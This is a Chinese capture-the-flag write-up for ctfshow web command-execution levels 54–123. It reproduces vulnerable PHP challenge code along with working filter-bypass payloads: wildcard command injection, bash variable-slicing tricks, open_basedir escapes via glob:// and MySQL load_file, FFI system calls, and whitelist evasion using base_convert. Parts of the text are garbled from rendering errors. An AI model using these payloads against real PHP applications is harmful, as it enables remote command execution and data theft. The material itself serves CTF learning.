ctfshow web入门55~122 命令执行

web 55

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

题目为上;
1、用脚本:

import requests

while True:
    url = "http://8f03c577-cfac-4047-b9a0-d1b90472aa63.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        breakimport requests

while True:
    url = "http://8f03c577-cfac-4047-b9a0-d1b90472aa63.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

2、使用/bin这个目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这题利用/bin/base64
base64这个命令就是将指定的文件的内容以base64加密的形式输出。
因为过滤了字母,正好可以用64来匹配,最终payload如下:

/???/????64 ????????

web 54

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

题目如上;
同55一样运用/bin目录

由于/bin上拥有cat,因此用/bin/cat flag.php;便可查找flag。

由于cat flag . php 被过滤则
使用:

?c=/bin/ca?${IFS}f???????

web 57

disable_functions函数启动后会禁止一些函数使得一些命令无法使用。
又是新姿势,知识点是$(( ))与整数运算。想办法构造出36.
双小括号的作用:

  双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在(())之间。

表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。

可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。

可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。

大佬曾说:关于取反,根据我学习下来得到的经验就是如果b=~a,那么a+b=-1
注意: ( ( ) ) 的 值 是 0 。 (())的值是0。 (())0((~ ( ( ) ) ) ) 的 值 是 − 1 。 (())))的值是-1。 (())))1(( ( (   ((~ (( (()))) ( (   ((~ (( (()))) )) 是-2;
则我们可以看出来
-2的构成是由两个-1相加得来的且内部也是默认相加;(因此36则需要-37来取反 //说实话没看懂;)
因此则需要三十七个 ( (   ((~ (( (()))) ,之后在取反,取反看大佬说是 ( (   ((~ (( (( ))))。
因此:

$((~$((     $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))        ))))

web 58~65

读文件的函数有这些:

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

fgets()函数使用:

  c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}

之后蚁剑连接。(我也不知道是什么情况😂)

web 66

(该题的flag在根目录下,html下的flag.php是假的)我们看到假的后可以用下面方法打开。

print_r(scandir('/'));
highlight_file('/flag.txt');

web 67

本题的print_r()被禁
可以用var_dump()来绕过。

web 68

highlight_file()被过滤,但是include却没有被ban因此可以用文件包含。
include('/flag.txt');

web 69~70

如果var_dump被ban就使用var_export()来绕过

include('/flag.txt');

web 70

题目源码(在附件中)

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();得到缓冲区的数据
        ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

(缓冲区:缓冲区又称为缓存,它是内存空间的一部分。
也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。
缓冲区根据其对应的是输入设备还是输出设备,分为输入缓冲区和输出缓冲区。
比如我们从磁盘里取信息,我们先把读出的数据放在缓冲区,
计算机再直接从缓冲区中取数据,等缓冲区的数据取完后再去磁盘中读取,
这样就可以减少磁盘的读写次数,
再加上计算机对缓冲区的操作大大快于对磁盘的操作,故应用缓冲区可大大提高计算机的运行速度。)
本题是在我们输入命令后输出时对输出数据先进行缓存,缓存的数据通过preg_replace()将字母和数字都给替换为?,使得我们无法正常查看。
使用exit()/die()提前结束,这样就不会将字符替换为问号(在我看来,应该是没有进行下面的得到缓存区数据的代码)

c=var_export(scandir('/'));exit();
c=include('/flag.txt');exit();

web72 不会

web 73、74

无源码,可根据71、72来做。
其他大佬都说存在open_basedir函数,因此可以利用glob伪协议来筛选目录。
glob伪协议:glob:// — 查找匹配的文件路径模式
本题代码:

c=?><?php
    $a=new DirectoryIterator("glob:///*");
    foreach($a as $f)
    {
      echo($f->__toString().' ');
    } 
   exit(0);
?>

之后可以查找到flagc.txt文件

include('/flagc.txt');exit();

即可得到。

web 75~76

和上题一样,通过上题脚本可以看到flag实在flag36.txt中,但之后是由include()函数去报错,之后发现是open_basedir影响使得路径受到限制,不懂,看到大佬wp发现:

c=

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');//连接数据库

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";//query()执行查询语句,返回结果集对象,从中可以看出该段代码是将flag36.txt内容传到$row中,并输出。
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}//回显错误信息。
exit(0);
//PDOException是错误异常。

大师傅们说数据库的连接是读配置文件得到的。至于配置文件在哪。。鬼知道。。。
不过这种拿SQL语句来读文件绕过open_basedir和disable_function的姿势实在是第一次见,学到了学到了。

PDO
PDO()就是PHP data Object 提供了PHP操作多种数据库的统一的接口,使用的主要思路:
1、添加
(1)连接数据库、数据库的用户名、数据库的密码
(2)生成PDO对象
(3)执行添加

<?php
header('content-type:text/html;charset=utf8');
//连接数据库
$dsn="mysql:dbname=test;host=127.0.0.1";
//数据库的用户名
$user="root";
//数据库的密码
$password="123456";
//生成PDO对象
$object = new PDO($dsn,$user,$password);
//执行添加
$sql="insert into student(`name`,`sex`,`sex`) values('zhangsan','男','18')";
if($object->exec($sql)){
    echo '添加成功';
}//exec主要用于执行没有返回结果集的操作,比如insert、delete、update,返回的是影响的记录条数

2、查询
主要思路:
(1)连接数据库、数据库的用户名、数据库的密码
(2)生成PDO对象
(3)执行查询

<?php
header('content-type:text/html;charset=utf8');
//连接数据库
$dsn="mysql:dbname=test;host=127.0.0.1";
//数据库的用户名
$user="root";
//数据库的密码
$password="123456";
//生成PDO对象
$object = new PDO($dsn,$user,$password);
 
$sql="select * from student";
$result = $object->query($sql);
while($arr=$result->fetch()){
    print_r($arr);
}//用循环利用fetch()方法逐个的取出记录,返回的是关联数组和索引数组两种数组,和mysql_fetch_array()的返回结果一致

还可以

$data=$result->fetchAll();//fetchAll()方法可以一次取出结果集中所有的数组,以二维数组的形式返回,但仍然是关联数组和索引数组两种数组
print_r($student_info);

web 77

通过该题,我们可以在开始的提示中看到PHP7.4,从而可以想到FFI(虽然我也不知道如何想到的,但我们应该知道FFI为PHP7.4核心拓展。

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag。

//首先是熟悉的确定flag位置和名称
c=?><?php 
	$a=new DirectoryIterator("glob:///*"); 
	foreach($a as $f) 
	{ 
		echo($f->__toString().'  ');
	} 
	exit();
?>
//FFI调用system函数
c=
$ffi=FFI :: cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
exit();


WEB118

拿到题一脸懵,不知道该干啥,看源码知道?code,看大佬wp发现好东西

root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1} //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1} //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1} //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A} //字母代表0
t

利用各种环境变量来构造命令
首先需要知道${PWD}:看当前路径
${PATH}通常为bin
通过上面的规则来构造命令(若看不懂可以看Linux 基础知识:Bash的内置变量
常见 Bash 内置变量介绍)
由于通配符没有被过滤,则构造

code=${PATH:~A}${PWD:~A} ????.???
//在看源码就可以看到flag

web119~120

比上题多过滤了path。

SHLVL:是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时 S H L V L = 1 , 然 后 在 此 s h e l l 中 再 打 开 一 个 s h e l l 时 {SHLVL}=1,然后在此shell中再打开一个shell时 SHLVL=1shellshellSHLVL=2。
RANDOM:此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。
在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
${HOME}默认是/root

本题可以通过构造/bin/base64 flag.php或/bin/cat flag.php.
在本题中:

${PWD::${SHLVL}},结果就是/
${#RANDOM},就是4
//本体中hostname应该是五个字母
//${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替
payload:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
//或
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web121

本题中最重要的是把${#SHLVL}给禁用了
因此只能用 ${PWD}
我们要知道 $# 与 KaTeX parse error: Expected 'EOF', got '#' at position 13: ? 一样都为0,再加上个#̲就代表长度为1;本体关键是用{##}或${#?}表示数字

code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

web 122
在本题中,我们可以发现#和PWD都被过滤,因此拿到题时,我不知道要做什么。看yu师傅的wp发现我们可以利用$?.

$?:获取上一条命令执行,成功返回0,非0代表失败,同时这个返回值是可控的

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
"OS error code  11:  Resource temporarily unavailable"
"OS error code  12:  Cannot allocate memory"
"OS error code  13:  Permission denied"
"OS error code  14:  Bad address"
"OS error code  15:  Block device required"
"OS error code  16:  Device or resource busy"
"OS error code  17:  File exists"
"OS error code  18:  Invalid cross-device link"
"OS error code  19:  No such device"
"OS error code  20:  Not a directory"
"OS error code  21:  Is a directory"
"OS error code  22:  Invalid argument"
"OS error code  23:  Too many open files in system"
"OS error code  24:  Too many open files"
"OS error code  25:  Inappropriate ioctl for device"
"OS error code  26:  Text file busy"
"OS error code  27:  File too large"
"OS error code  28:  No space left on device"
"OS error code  29:  Illegal seek"
"OS error code  30:  Read-only file system"
"OS error code  31:  Too many links"
"OS error code  32:  Broken pipe"
"OS error code  33:  Numerical argument out of domain"
"OS error code  34:  Numerical result out of range"
"OS error code  35:  Resource deadlock avoided"
"OS error code  36:  File name too long"
"OS error code  37:  No locks available"
"OS error code  38:  Function not implemented"
"OS error code  39:  Directory not empty"
"OS error code  40:  Too many levels of symbolic links"
"OS error code  42:  No message of desired type"
"OS error code  43:  Identifier removed"
"OS error code  44:  Channel number out of range"
"OS error code  45:  Level 2 not synchronized"
"OS error code  46:  Level 3 halted"
"OS error code  47:  Level 3 reset"
"OS error code  48:  Link number out of range"
"OS error code  49:  Protocol driver not attached"
"OS error code  50:  No CSI structure available"
"OS error code  51:  Level 2 halted"
"OS error code  52:  Invalid exchange"
"OS error code  53:  Invalid request descriptor"
"OS error code  54:  Exchange full"
"OS error code  55:  No anode"
"OS error code  56:  Invalid request code"
"OS error code  57:  Invalid slot"
"OS error code  59:  Bad font file format"
"OS error code  60:  Device not a stream"
"OS error code  61:  No data available"
"OS error code  62:  Timer expired"
"OS error code  63:  Out of streams resources"
"OS error code  64:  Machine is not on the network"
"OS error code  65:  Package not installed"
"OS error code  66:  Object is remote"
"OS error code  67:  Link has been severed"
"OS error code  68:  Advertise error"
"OS error code  69:  Srmount error"
"OS error code  70:  Communication error on send"
"OS error code  71:  Protocol error"
"OS error code  72:  Multihop attempted"
"OS error code  73:  RFS specific error"
"OS error code  74:  Bad message"
"OS error code  75:  Value too large for defined data type"
"OS error code  76:  Name not unique on network"
"OS error code  77:  File descriptor in bad state"
"OS error code  78:  Remote address changed"
"OS error code  79:  Can not access a needed shared library"
"OS error code  80:  Accessing a corrupted shared library"
"OS error code  81:  .lib section in a.out corrupted"
"OS error code  82:  Attempting to link in too many shared libraries"
"OS error code  83:  Cannot exec a shared library directly"
"OS error code  84:  Invalid or incomplete multibyte or wide character"
"OS error code  85:  Interrupted system call should be restarted"
"OS error code  86:  Streams pipe error"
"OS error code  87:  Too many users"
"OS error code  88:  Socket operation on non-socket"
"OS error code  89:  Destination address required"
"OS error code  90:  Message too long"
"OS error code  91:  Protocol wrong type for socket"
"OS error code  92:  Protocol not available"
"OS error code  93:  Protocol not supported"
"OS error code  94:  Socket type not supported"
"OS error code  95:  Operation not supported"
"OS error code  96:  Protocol family not supported"
"OS error code  97:  Address family not supported by protocol"
"OS error code  98:  Address already in use"
"OS error code  99:  Cannot assign requested address"
"OS error code 100:  Network is down"
"OS error code 101:  Network is unreachable"
"OS error code 102:  Network dropped connection on reset"
"OS error code 103:  Software caused connection abort"
"OS error code 104:  Connection reset by peer"
"OS error code 105:  No buffer space available"
"OS error code 106:  Transport endpoint is already connected"
"OS error code 107:  Transport endpoint is not connected"
"OS error code 108:  Cannot send after transport endpoint shutdown"
"OS error code 109:  Too many references: cannot splice"
"OS error code 110:  Connection timed out"
"OS error code 111:  Connection refused"
"OS error code 112:  Host is down"
"OS error code 113:  No route to host"
"OS error code 114:  Operation already in progress"
"OS error code 115:  Operation now in progress"
"OS error code 116:  Stale NFS file handle"
"OS error code 117:  Structure needs cleaning"
"OS error code 118:  Not a XENIX named type file"
"OS error code 119:  No XENIX semaphores available"
"OS error code 120:  Is a named type file"
"OS error code 121:  Remote I/O error"
"OS error code 122:  Disk quota exceeded"
"OS error code 123:  No medium found"
"OS error code 124:  Wrong medium type"
"OS error code 125:  Operation canceled"
"OS error code 126:  Required key not available"
"OS error code 127:  Key has expired"
"OS error code 128:  Key has been revoked"
"OS error code 129:  Key was rejected by service"
"OS error code 130:  Owner died"
"OS error code 131:  State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full;  Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"

`yu师傅说 的 返 回 值 在 本 地 时 是 1 , 但 本 题 环 境 是 2 , 所 以 开 放 了 < , < A 的 返 回 报 错 是 1 , 所 以 就 获 得 了 数 字 1 , 至 于 4 可 以 用 R A N D O M 随 机 获 取 。 不 过 为 什 么 {}的返回值在本地时是1,但本题环境是2,所以开放了<,<A的返回报错是1,所以就获得了数字1,至于4可以用RANDOM随机获取。 不过为什么 12<,<A114RANDOM{}和<A这样的报错归属为Operation not permitted我也很迷。。。

则最后的路径是:

<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web123

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}


看到本题,可以先进行代码审计,了解代码的意思可以发现本题需要用题目所给的代码,同时长度不能超过80

base_convert:在任意进制之间转换数字。
{base_convert(‘转换目标’,’目标进制‘,’当前进制‘)}
getallheaders():获得 http请求头信息
(后面加{}中间填请求头中所需的名字)
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为 ASCII 字符

base_convert(number,frombase,tobase);
参数	描述
number	    必需。规定要转换的数。
frombase	必需。规定数字原来的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase	    必需。规定要转换的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin — 十进制转换为二进制
decbin ( int $number ) : string

dechex — 十进制转换为十六进制
dechex ( int $number ) : string

decoct — 十进制转换为八进制
decoct ( int $number ) : string

hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string


payload如下:

?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
//1751504350是system;8768397090111664438是getallheaders

记得用bp修改请求头使得构造出 cat /flag.

当然在本题中,上述方法不能用,因为getallheaders只能在阿帕奇上使用,因此看大佬博客发现另一种解法。

构造  $GET[a]($GET[b])&a=system&b=cat flag
   即c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

用上述所给的函数进行构造

//_GET的构造
echo base_convert('hex2bin', 36, 10);
结果  37907361743
echo hexdec(bin2hex("_GET"));
结果 1598506324
base_convert('37907361743',10,36);    hex2bin
base_convert('37907361743',10,36)(dechex('1598506324'));    _GET

最终路径:

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值